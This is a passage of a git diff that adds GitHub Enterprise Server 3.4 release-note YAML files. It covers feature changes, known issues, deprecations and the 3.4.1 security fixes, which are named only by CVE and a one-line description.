+        - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the Releases UI, such as automatically generated release notes which display a summary of all the pull requests for a given release. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-20-improvements-to-github-releases-generally-available/)."'
+
+        # https://github.com/github/releases/issues/1606
+        - When a release is published, an avatar list is now displayed at the bottom of the release. Avatars for all user accounts mentioned in the release notes are shown. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)."
+
+    - heading: 'Markdown changes'
+      notes:
+        # https://github.com/github/releases/issues/1779
+        - You can now use the new "Accessibility" settings page to manage your keyboard shortcuts. You can choose to disable keyboard shortcuts that only use single characters like <kbd>S</kbd>, <kbd>G</kbd> <kbd>C</kbd>, and <kbd>.</kbd> (the period key). For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-16-managing-keyboard-shortcuts-using-accessibility-settings/)."
+
+        # https://github.com/github/releases/issues/1727
+        - You can now choose to use a fixed-width font in Markdown-enabled fields, like issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-12-fixed-width-font-support-in-markdown-enabled-fields/)."
+
+        # https://github.com/github/releases/issues/1761
+        - You can now paste a URL on selected text to quickly create a Markdown link. This works in all Markdown-enabled fields, such as issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-linkify-selected-text-on-url-paste/)."
+
+        # https://github.com/github/releases/issues/1758
+        - An image URL can now be appended with a theme context, such as `#gh-dark-mode-only`, to define how the Markdown image is displayed to a viewer. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-specify-theme-context-for-images-in-markdown/)."
+
+        # https://github.com/github/releases/issues/1686
+        - When creating or editing a gist file with the Markdown (`.md`) file extension, you can now use the "Preview" or "Preview Changes" tab to display a Markdown rendering of the file contents. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-17-preview-the-markdown-rendering-of-gists/)."
+
+        # https://github.com/github/releases/issues/1754
+        - When typing the name of a {% data variables.product.prodname_dotcom %} user in issues, pull requests and discussions, the @mention suggester now ranks existing participants higher than other {% data variables.product.prodname_dotcom %} users, so that it's more likely the user you're looking for will be listed.
+
+        # https://github.com/github/releases/issues/1636
+        - Right-to-left languages are now supported natively in Markdown files, issues, pull requests, discussions, and comments.
+
+    - heading: 'Issues and pull requests changes'
+      notes:
+        # https://github.com/github/releases/issues/1731
+        - The diff setting to hide whitespace changes in the pull request "Files changed" tab is now retained for your user account for that pull request. The setting you have chosen is automatically reapplied if you navigate away from the page and then revisit the "Files changed" tab of the same pull request.
+
+        # https://github.com/github/releases/issues/1663
+        - When using auto assignment for pull request code reviews, you can now choose to only notify requested team members independently of your auto assignment settings. This setting is useful in scenarios where many users are auto assigned but not all users require notification. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-team-member-pull-request-review-notifications-can-be-configured-independently-of-auto-assignment/)."
+
+    - heading: 'Branches changes'
+      notes:
+        # https://github.com/github/releases/issues/1526
+        - Organization and repository administrators can now trigger webhooks to listen for changes to branch protection rules on their repositories. For more information, see the "[branch_protection_rule](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)" event in the webhooks events and payloads documentation.
+
+        # https://github.com/github/releases/issues/1759
+        - When configuring protected branches, you can now enforce that a required status check is provided by a specific {% data variables.product.prodname_github_app %}. If a status is then provided by a different application, or by a user via a commit status, merging is prevented. This ensures all changes are validated by the intended application. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-01-ensure-required-status-checks-provided-by-the-intended-app/)."
+
+        # https://github.com/github/releases/issues/1911
+        - Only users with administrator permissions are now able to rename protected branches and modify branch protection rules. Previously, with the exception of the default branch, a collaborator could rename a branch and consequently any non-wildcard branch protection rules that applied to that branch were also renamed. For more information, see "[Renaming a branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)."
+
+        # https://github.com/github/releases/issues/1845
+        - Administrators can now allow only specific users and teams to bypass pull request requirements. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-19-allow-bypassing-required-pull-requests/)."
+
+        # https://github.com/github/releases/issues/1850
+        - Administrators can now allow only specific users and teams to force push to a repository. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-21-specify-who-can-force-push-to-a-repository/)."
+
+        # https://github.com/github/releases/issues/1796
+        - When requiring pull requests for all changes to a protected branch, administrators can now choose if approved reviews are also a requirement. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-require-pull-requests-without-requiring-reviews/)."
+
+    - heading: 'GitHub Actions changes'
+      notes:
+        # https://github.com/github/releases/issues/1906
+        - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} for the `create`, `deployment`, and `deployment_status` events now always receive a read-only token and no secrets. Similarly, workflows triggered by {% data variables.product.prodname_dependabot %} for the `pull_request_target` event on pull requests where the base ref was created by {% data variables.product.prodname_dependabot %}, now always receive a read-only token and no secrets. These changes are designed to prevent potentially malicious code from executing in a privileged workflow. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."'
+
+        # https://github.com/github/releases/issues/1667
+        - Workflow runs on `push` and `pull_request` events triggered by {% data variables.product.prodname_dependabot %} will now respect the permissions specified in your workflows, allowing you to control how you manage automatic dependency updates. The default token permissions will remain read-only. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-06-github-actions-workflows-triggered-by-dependabot-prs-will-respect-permissions-key-in-workflows/)."
+
+        # https://github.com/github/releases/issues/1668
+        - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} will now be sent the {% data variables.product.prodname_dependabot %} secrets. You can now pull from private package registries in your CI using the same secrets you have configured for {% data variables.product.prodname_dependabot %} to use, improving how {% data variables.product.prodname_actions %} and {% data variables.product.prodname_dependabot %} work together. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."'
+
+        # https://github.com/github/releases/issues/1615
+        - You can now manage runner groups and see the status of your self-hosted runners using new Runners and Runner Groups pages in the UI. The Actions settings page for your repository or organization now shows a summary view of your runners, and allows you to deep dive into a specific runner to edit it or see what job it may be currently running. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-20-github-actions-experience-refresh-for-the-management-of-self-hosted-runners/)."
+
+        # https://github.com/github/releases/issues/1785
+        - 'Actions authors can now have their action run in Node.js 16 by specifying [`runs.using` as `node16` in the action''s `action.yml`](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions). This is in addition to the existing Node.js 12 support; actions can continue to specify `runs.using: node12` to use the Node.js 12 runtime.'
+
+        # https://github.com/github/releases/issues/1799
+        - 'For manually triggered workflows, {% data variables.product.prodname_actions %} now supports the `choice`, `boolean`, and `environment` input types in addition to the default `string` type. For more information, see "[`on.workflow_dispatch.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_dispatchinputs)."'
+
+        # https://github.com/github/releases/issues/1782
+        - Actions written in YAML, also known as composite actions, now support `if` conditionals. This lets you prevent specific steps from executing unless a condition has been met. Like steps defined in workflows, you can use any supported context and expression to create a conditional.
+
+        # https://github.com/github/releases/issues/1919
+        - The search order behavior for self-hosted runners has now changed, so that the first available matching runner at any level will run the job in all cases. This allows jobs to be sent to self-hosted runners much faster, especially for organizations and enterprises with lots of self-hosted runners. Previously, when running a job that required a self-hosted runner, {% data variables.product.prodname_actions %} would look for self-hosted runners in the repository, organization, and enterprise, in that order.
+
+        # https://github.com/github/releases/issues/1753
+        - Runner labels for {% data variables.product.prodname_actions %} self-hosted runners can now be listed, added and removed using the REST API. For more information about using the new APIs at a repository, organization, or enterprise level, see "[Repositories](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)", "[Organizations](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)", and "[Enterprises](/rest/reference/enterprise-admin#list-labels-for-a-self-hosted-runner-for-an-enterprise)" in the REST API documentation.
+
+    - heading: 'Dependabot and Dependency graph changes'
+      notes:
+        # https://github.com/github/releases/issues/1520
+        - Dependency graph now supports detecting Python dependencies in repositories that use the Poetry package manager. Dependencies will be detected from both `pyproject.toml` and `poetry.lock` manifest files.
+
+        # https://github.com/github/releases/issues/1921
+        - When configuring {% data variables.product.prodname_dependabot %} security and version updates on GitHub Enterprise Server, we recommend you also enable {% data variables.product.prodname_dependabot %} in {% data variables.product.prodname_github_connect %}. This will allow {% data variables.product.prodname_dependabot %} to retrieve an updated list of dependencies and vulnerabilities from {% data variables.product.prodname_dotcom_the_website %}, by querying for information such as the changelogs of the public releases of open source code that you depend upon. For more information, see "[Enabling the dependency graph and Dependabot alerts for your enterprise](/admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise)."
+
+        # https://github.com/github/releases/issues/1717
+        - '{% data variables.product.prodname_dependabot_alerts %} alerts can now be dismissed using the GraphQL API. For more information, see the "[dismissRepositoryVulnerabilityAlert](/graphql/reference/mutations#dismissrepositoryvulnerabilityalert)" mutation in the GraphQL API documentation.'
+
+    - heading: 'Code scanning and secret scanning changes'
+      notes:
+        # https://github.com/github/releases/issues/1802
+        - The {% data variables.product.prodname_codeql %} CLI now supports including markdown-rendered query help in SARIF files, so that the help text can be viewed in the {% data variables.product.prodname_code_scanning %} UI when the query generates an alert. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-23-display-help-text-for-your-custom-codeql-queries-in-code-scanning/)."
+
+        # https://github.com/github/releases/issues/1790
+        - The {% data variables.product.prodname_codeql %} CLI and {% data variables.product.prodname_vscode %} extension now support building databases and analyzing code on machines powered by Apple Silicon, such as Apple M1. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-codeql-now-supports-apple-silicon-m1/)."
+
+        # https://github.com/github/releases/issues/1732
+        - |
+          The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) from the Python ecosystem. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-codeql-code-scanning-now-recognizes-more-python-libraries-and-frameworks/)."
+
+        # https://github.com/github/releases/issues/1567
+        - Code scanning with {% data variables.product.prodname_codeql %} now includes beta support for analyzing code in all common Ruby versions, up to and including 3.02. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-27-codeql-code-scanning-adds-beta-support-for-ruby/)."
+
+        # https://github.com/github/releases/issues/1764
+        - |
+          Several improvements have been made to the {% data variables.product.prodname_code_scanning %} API:
+
+          * The `fixed_at` timestamp has been added to alerts. This timestamp is the first time that the alert was not detected in an analysis.
+          * Alert results can now be sorted using `sort` and `direction` on either `created`, `updated` or `number`. For more information, see "[List code scanning alerts for a repository](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)."
+          * A `Last-Modified` header has been added to the alerts and alert endpoint response. For more information, see [`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified) in the Mozilla documentation.
+          * The `relatedLocations` field has been added to the SARIF response when you request a code scanning analysis. The field may contain locations which are not the primary location of the alert. See an example in the [SARIF spec](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012616) and for more information see "[Get a code scanning analysis for a repository](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)."
+          * Both `help` and `tags` data have been added to the webhook response alert rule object. For more information, see "[Code scanning alert webhooks events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert)."
+          * Personal access tokens with the `public_repo` scope now have write access for code scanning endpoints on public repos, if the user has permission.
+
+          For more information, see "[Code scanning](/rest/reference/code-scanning)" in the REST API documentation.
+
+        # https://github.com/github/releases/issues/1943
+        - '{% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve private repository secret scanning results at the enterprise level. The new endpoint supplements the existing repository-level and organization-level endpoints. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation.'
+
+    - heading: Mobile changes
+      notes:
+        # https://github.com/github/mobile/issues/2440
+        # https://github.com/github/enterprise2/pull/28057
+        - Support for {% data variables.product.prodname_mobile %} is now enabled by default for new {% data variables.product.prodname_ghe_server %} instances. If you have not explicitly disabled or enabled {% data variables.product.prodname_mobile %}, {% data variables.product.prodname_mobile %} will be enabled when you upgrade to {% data variables.product.prodname_ghe_server %} 3.4.0 or later. If you previously disabled or enabled {% data variables.product.prodname_mobile %} for your instance, your preference will be preserved upon upgrade. For more information, see "[Managing {% data variables.product.prodname_mobile %} for your enterprise](/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise)."
+
+  # No security/bug fixes for the GA release
+  # security_fixes:
+  #   - PLACEHOLDER
+
+  # bugs:
+  #   - PLACEHOLDER
+
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - Actions services needs to be restarted after restoring appliance from backup taken on a different host.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17]
+    - |
+      When using SAML encrypted assertions with {% data variables.product.prodname_ghe_server %} 3.4.0 and 3.4.1, a new XML attribute `WantAssertionsEncrypted` in the `SPSSODescriptor` contains an invalid attribute for SAML metadata. IdPs that consume this SAML metadata endpoint may encounter errors when validating the SAML metadata XML schema. A fix will be available in the next patch release. [Updated: 2022-04-11]
+      
+      To work around this problem, you can take one of the two following actions.
+      - Reconfigure the IdP by uploading a static copy of the SAML metadata without the `WantAssertionsEncrypted` attribute.
+      - Copy the SAML metadata, remove `WantAssertionsEncrypted` attribute, host it on a web server, and reconfigure the IdP to point to that URL.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
+  deprecations:
+    - heading: Deprecation of GitHub Enterprise Server 3.0
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+    - heading: Deprecation of GitHub Enterprise Server 3.1
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+
+    - heading: Deprecation of XenServer Hypervisor support
+      notes:
+        # https://github.com/github/docs-content/issues/4439
+        - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.
+
+    - heading: Deprecation of the Content Attachments API preview
+      notes:
+        #
+        - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments.
+
+    - heading: Deprecation of the Codes of Conduct API preview
+      notes:
+        # https://github.com/github/releases/issues/1708
+        - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.'
+
+    - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters
+      notes:
+        # https://github.com/github/releases/issues/1316
+        - |
+          Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make).
+
+    - heading: Deprecation of the CodeQL runner
+      notes:
+        # https://github.com/github/releases/issues/1632
+        - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).
+
+    - heading: Deprecation of custom bit-cache extensions
+      notes:
+        # https://github.com/github/releases/issues/1415
+        - |
+          Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards.
+
+          Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated.
+
+          Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed.
+
+          To start a repository maintenance task manually, browse to `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` for each affected repository and click the Schedule button.
+
+    - heading: Change to the format of authentication tokens affects GitHub Connect
+      notes:
+        # https://github.com/github/releases/issues/1235
+        - |
+          GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. For more information, see the [GitHub changelog](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/). [Updated: 2022-06-14]
+
+  backups:
+    - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/1.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/1.yml
new file mode 100644
index 0000000000..c1e26d10e7
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/1.yml
@@ -0,0 +1,105 @@
+date: '2022-04-04'
+sections:
+  security_fixes:
+    - 'MEDIUM: A path traversal vulnerability was identified in {% data variables.product.prodname_ghe_server %} Management Console that allowed the bypass of CSRF protections. This vulnerability affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.5 and was fixed in versions 3.1.19, 3.2.11, 3.3.6, 3.4.1. This vulnerability was reported via the {% data variables.product.prodname_dotcom %} Bug Bounty program and has been assigned CVE-2022-23732.'
+    - 'MEDIUM: An integer overflow vulnerability was identified in the 1.x branch and the 2.x branch of `yajil` which leads to subsequent heap memory corruption when dealing with large (~2GB) inputs. This vulnerability was reported internally and has been assigned CVE-2022-24795. '
+    - Support bundles could include sensitive files if {% data variables.product.prodname_actions %} was enabled. 
+    - Packages have been updated to the latest security versions.
+  bugs:
+    - A workflow run may not complete if it uses composite-actions.
+    - When enabling {% data variables.product.prodname_dependabot %}, an error caused some security advisories to temporarily read as no-longer applicable.
+    - Minio processes would have high CPU usage if an old configuration option was present after upgrading {% data variables.product.prodname_ghe_server %}.
+    - The options to enable `TLS 1.0` and `TLS 1.1` in the Privacy settings of the Management Console were shown, although removal of those protocol versions occurred in an earlier release.
+    - In a HA environment, configuring MSSQL replication could require additional manual steps after enabling {% data variables.product.prodname_actions %} for the first time.
+    - A subset of internal configuration files are more reliably updated after a hotpatch. 
+    - The `ghe-run-migrations` script would sometimes fail to generate temporary certificate names correctly. 
+    - Pre-receive hooks that used `gpg --import` timed out due to insufficient `syscall` privileges.
+    - In some cluster topologies, webhook delivery information was not available. 
+    - The {% data variables.product.prodname_actions %} deployment graph would display an error when rendering a pending job. 
+    - Elasticsearch health checks would not allow a yellow cluster status when running migrations. 
+    - When using the [Migrations API](/rest/reference/migrations), queued export jobs were not processed.
+    - Repositories would display a non-functional Discussions tab in the web UI. 
+    - Organizations created as a result of a user transforming their user account into an organization were not added to the global enterprise account. 
+    - LDAP user sync jobs would fail when trying to sync GPG keys that had been synced previously. 
+    - Links to inaccessible pages were removed. 
+    - Some instances experienced high CPU usage due to large amounts unnecessary background jobs being queued. 
+    - Empty repositories didnt sync correctly to cache servers. 
+    - Adding a team as a reviewer to a pull request would sometimes show the incorrect number of members on that team. 
+    - The remove team membership API endpoint would respond with an error when attempting to remove member externally managed via a SCIM Group. 
+    - A large number of dormant users could cause a {% data variables.product.prodname_github_connect %} configuration to fail. 
+    - The "Feature & beta enrollments" page in the Site admin web UI was incorrectly available. 
+    - The "Site admin mode" link in the site footer did not change state when clicked. 
+  changes:
+    - Memcached connection limits were increased to better accommodate large cluster topologies. 
+    - The Dependency Graph API previously ran with a statically defined port. 
+    - The default shard counts for cluster-related Elasticsearch shard settings have been updated. 
+    - The [Migrations API](/rest/reference/migrations) now generates exports of repositories. 
+    - When filtering enterprise members by organization role on the "People" page, the text for the dropdown menu items has been improved. 
+    - The “Triage” and “Maintain” team roles are preserved during repository migrations. 
+    - Using ghe-migrator or exporting from GitHub.com, an export would not include Pull Request attachments. 
+    - Performance has been improved for web requests made by enterprise owners. 
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17]
+    - |
+      When using SAML encrypted assertions with {% data variables.product.prodname_ghe_server %} 3.4.0 and 3.4.1, a new XML attribute `WantAssertionsEncrypted` in the `SPSSODescriptor` contains an invalid attribute for SAML metadata. IdPs that consume this SAML metadata endpoint may encounter errors when validating the SAML metadata XML schema. A fix will be available in the next patch release. [Updated: 2022-04-11]
+      
+      To work around this problem, you can take one of the two following actions.
+      - Reconfigure the IdP by uploading a static copy of the SAML metadata without the `WantAssertionsEncrypted` attribute.
+      - Copy the SAML metadata, remove `WantAssertionsEncrypted` attribute, host it on a web server, and reconfigure the IdP to point to that URL.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
+  deprecations:
+    - heading: Deprecation of GitHub Enterprise Server 3.0
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+    - heading: Deprecation of GitHub Enterprise Server 3.1
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+
+    - heading: Deprecation of XenServer Hypervisor support
+      notes:
+        # https://github.com/github/docs-content/issues/4439
+        - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.
+
+    - heading: Deprecation of the Content Attachments API preview
+      notes:
+        #
+        - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments.
+
+    - heading: Deprecation of the Codes of Conduct API preview
+      notes:
+        # https://github.com/github/releases/issues/1708
+        - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.'
+
+    - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters
+      notes:
+        # https://github.com/github/releases/issues/1316
+        - |
+          Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make).
+
+    - heading: Deprecation of the CodeQL runner
+      notes:
+        # https://github.com/github/releases/issues/1632
+        - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).
+
+    - heading: Deprecation of custom bit-cache extensions
+      notes:
+        # https://github.com/github/releases/issues/1415
+        - |
+          Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards.
+
+          Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated.
+
+          Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed.
+
+          To start a repository maintenance task manually, browse to `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` for each affected repository and click the Schedule button.
+
+  backups:
+    - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/2.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/2.yml
new file mode 100644
index 0000000000..a6e465aae2
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/2.yml
@@ -0,0 +1,86 @@
+date: '2022-04-20'
+sections:
+  security_fixes:
+    - Packages have been updated to the latest security versions. 
+  bugs:
